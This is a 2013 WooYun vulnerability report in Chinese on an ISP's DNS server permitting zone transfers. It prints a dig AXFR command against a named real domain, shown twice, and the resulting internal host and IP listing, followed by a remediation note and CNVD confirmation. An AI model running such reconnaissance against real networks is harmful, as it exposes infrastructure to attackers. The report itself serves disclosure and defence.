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缺陷编号：wooyun-2013-017516

漏洞标题：长宽dns管理不当存在域传送问题

相关厂商：长城宽带

漏洞作者： 堕落大哥

提交时间：2013-01-19 10:15

修复时间：2013-03-05 10:16

公开时间：2013-03-05 10:16

漏洞类型：系统/服务运维配置不当

危害等级：低

自评Rank：2

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-01-19： 细节已通知厂商并且等待厂商处理中
2013-01-22： 厂商已经确认，细节仅向厂商公开
2013-02-01： 细节向核心白帽子及相关领域专家公开
2013-02-11： 细节向普通白帽子公开
2013-02-21： 细节向实习白帽子公开
2013-03-05： 细节向公众公开

简要描述：

长宽的dns没有禁止域传输，可以暴露所有的域名以及主机信息，所以一个isp来说，还是很危险的

详细说明：

域没有进行限制配置，可以暴露内部所有域名和主机信息，如下：

dig @dns.xmgwbn.com xmgwbn.com axfr
; <<>> DiG 9.3.6-P1-RedHat-9.3.6-4.P1.el5_4.2 <<>> @dns.xmgwbn.com xmgwbn.com axfr
; (1 server found)
;; global options:  printcmd
xmgwbn.com.		172800	IN	SOA	dns.xmgwbn.com. root.dns.xmgwbn.com. 2006121801 10800 3600 604800 86400
xmgwbn.com.		172800	IN	NS	dns.xmgwbn.com.
xmgwbn.com.		172800	IN	NS	dns1.xmgwbn.com.
xmgwbn.com.		172800	IN	A	211.162.32.1
blog.xmgwbn.com.	172800	IN	A	211.162.32.37
cj.xmgwbn.com.		172800	IN	A	33.36.74.7
dns.xmgwbn.com.		172800	IN	A	211.162.32.1
dns1.xmgwbn.com.	172800	IN	A	211.162.32.20
flash.xmgwbn.com.	172800	IN	A	211.162.32.39
ftp1.xmgwbn.com.	172800	IN	A	211.162.32.57
ftp2.xmgwbn.com.	172800	IN	A	211.162.32.58
game.xmgwbn.com.	172800	IN	A	211.162.32.53
gowebcall.xmgwbn.com.	172800	IN	A	58.22.151.236
kd.xmgwbn.com.		172800	IN	A	10.10.10.34
kefu.xmgwbn.com.	172800	IN	A	211.162.32.60
mrtg.xmgwbn.com.	172800	IN	A	211.162.32.6
mrtg2.xmgwbn.com.	172800	IN	A	10.10.10.1
pc.xmgwbn.com.		172800	IN	A	211.162.32.39
phone.xmgwbn.com.	172800	IN	A	211.161.46.121
shop.xmgwbn.com.	172800	IN	A	211.162.32.39
skycn.xmgwbn.com.	172800	IN	A	211.162.32.42
ts.xmgwbn.com.		172800	IN	A	211.162.227.19
www.xmgwbn.com.		172800	IN	A	211.162.32.33
xmyy.xmgwbn.com.	172800	IN	A	211.162.32.39
yslt.xmgwbn.com.	172800	IN	A	211.162.32.39
yw.xmgwbn.com.		172800	IN	A	10.10.10.33
zfw.xmgwbn.com.		172800	IN	A	211.162.32.61
zfw1.xmgwbn.com.	172800	IN	A	211.162.32.61
xmgwbn.com.		172800	IN	SOA	dns.xmgwbn.com. root.dns.xmgwbn.com. 2006121801 10800 3600 604800 86400

漏洞证明：

dig @dns.xmgwbn.com xmgwbn.com axfr
; <<>> DiG 9.3.6-P1-RedHat-9.3.6-4.P1.el5_4.2 <<>> @dns.xmgwbn.com xmgwbn.com axfr
; (1 server found)
;; global options:  printcmd
xmgwbn.com.		172800	IN	SOA	dns.xmgwbn.com. root.dns.xmgwbn.com. 2006121801 10800 3600 604800 86400
xmgwbn.com.		172800	IN	NS	dns.xmgwbn.com.
xmgwbn.com.		172800	IN	NS	dns1.xmgwbn.com.
xmgwbn.com.		172800	IN	A	211.162.32.1
blog.xmgwbn.com.	172800	IN	A	211.162.32.37
cj.xmgwbn.com.		172800	IN	A	33.36.74.7
dns.xmgwbn.com.		172800	IN	A	211.162.32.1
dns1.xmgwbn.com.	172800	IN	A	211.162.32.20
flash.xmgwbn.com.	172800	IN	A	211.162.32.39
ftp1.xmgwbn.com.	172800	IN	A	211.162.32.57
ftp2.xmgwbn.com.	172800	IN	A	211.162.32.58
game.xmgwbn.com.	172800	IN	A	211.162.32.53
gowebcall.xmgwbn.com.	172800	IN	A	58.22.151.236
kd.xmgwbn.com.		172800	IN	A	10.10.10.34
kefu.xmgwbn.com.	172800	IN	A	211.162.32.60
mrtg.xmgwbn.com.	172800	IN	A	211.162.32.6
mrtg2.xmgwbn.com.	172800	IN	A	10.10.10.1
pc.xmgwbn.com.		172800	IN	A	211.162.32.39
phone.xmgwbn.com.	172800	IN	A	211.161.46.121
shop.xmgwbn.com.	172800	IN	A	211.162.32.39
skycn.xmgwbn.com.	172800	IN	A	211.162.32.42
ts.xmgwbn.com.		172800	IN	A	211.162.227.19
www.xmgwbn.com.		172800	IN	A	211.162.32.33
xmyy.xmgwbn.com.	172800	IN	A	211.162.32.39
yslt.xmgwbn.com.	172800	IN	A	211.162.32.39
yw.xmgwbn.com.		172800	IN	A	10.10.10.33
zfw.xmgwbn.com.		172800	IN	A	211.162.32.61
zfw1.xmgwbn.com.	172800	IN	A	211.162.32.61
xmgwbn.com.		172800	IN	SOA	dns.xmgwbn.com. root.dns.xmgwbn.com. 2006121801 10800 3600 604800 86400

修复方案：

对可传输的ip进行限制，建议内部其他域名系统也进行检查

版权声明：转载请注明来源 堕落大哥@乌云

漏洞回应

厂商回应：

危害等级：低

漏洞Rank：3

确认时间：2013-01-22 10:24

厂商回复：

CNVD确认漏洞并复现所述情况，已由CNVD通过网站公开联系方式联系网站管理方处置。
rank=3

最新状态：

暂无